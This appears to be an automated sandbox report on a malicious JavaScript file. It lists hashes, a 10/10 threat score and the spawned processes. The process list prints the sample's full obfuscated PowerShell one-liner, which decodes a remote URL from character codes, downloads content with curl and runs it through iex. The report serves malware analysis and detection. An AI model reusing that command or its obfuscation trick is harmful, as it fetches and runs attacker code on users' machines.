Analysis
-
max time kernel
122s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
02-10-2024 01:40
General
-
Target
e2dcb55f6bc339674b8e046e3f72a686a51c8973ae022b31a2dc3f8ebffd86b5.js
-
Size
160KB
-
MD5
0d68d14f20f06208478b8cbbea1830b9
-
SHA1
47edec4639ecdb5ac0277749577b89f9ac2873d4
-
SHA256
e2dcb55f6bc339674b8e046e3f72a686a51c8973ae022b31a2dc3f8ebffd86b5
-
SHA512
936582a9e56d92bdbc49e46c4a0eb32344dcf0ee3b64f54cc2e97eb5bd0f5cad6d1e34a4bda6493c9cc64f196445b4ba34ac41f00c65447ddebc1fd29472bf32
-
SSDEEP
3072:wgeWyqg5puqGpZw70BpuXruxZwoT0t17soR66I3F5kfa:o9PGUwpuXCjwoYtGr6Iky
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\e2dcb55f6bc339674b8e046e3f72a686a51c8973ae022b31a2dc3f8ebffd86b5.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $rjgvrbckcfj='ur';new-alias press c$($rjgvrbckcfj)l;$gxbkmg=(7395,7397,7414,7404,7410,7403,7410,7409,7406,7338,7408,7403,7404,7339,7341,7338,7404,7396,7404,7355,7407,7353,7401,7397,7402,7408,7407,7341,7343);$qyixkcnippw=('bronx','get-cmdlet');$akgopelbddwe=$gxbkmg;foreach($yaafmzhtz in $akgopelbddwe){$kdsrwkwo=$yaafmzhtz;$sftrmqllmjj=$sftrmqllmjj+[char]($kdsrwkwo-7292);$lshvymrngtqyx=$sftrmqllmjj;$jwayrhc=$lshvymrngtqyx};$zzdctwourznd[2]=$jwayrhc;$dkjrlzanuuyd='rl';$mojxhpwv=1;.$([char](9992-9887)+'e'+'x')(press -useb $jwayrhc)1⤵
- Process spawned unexpected child process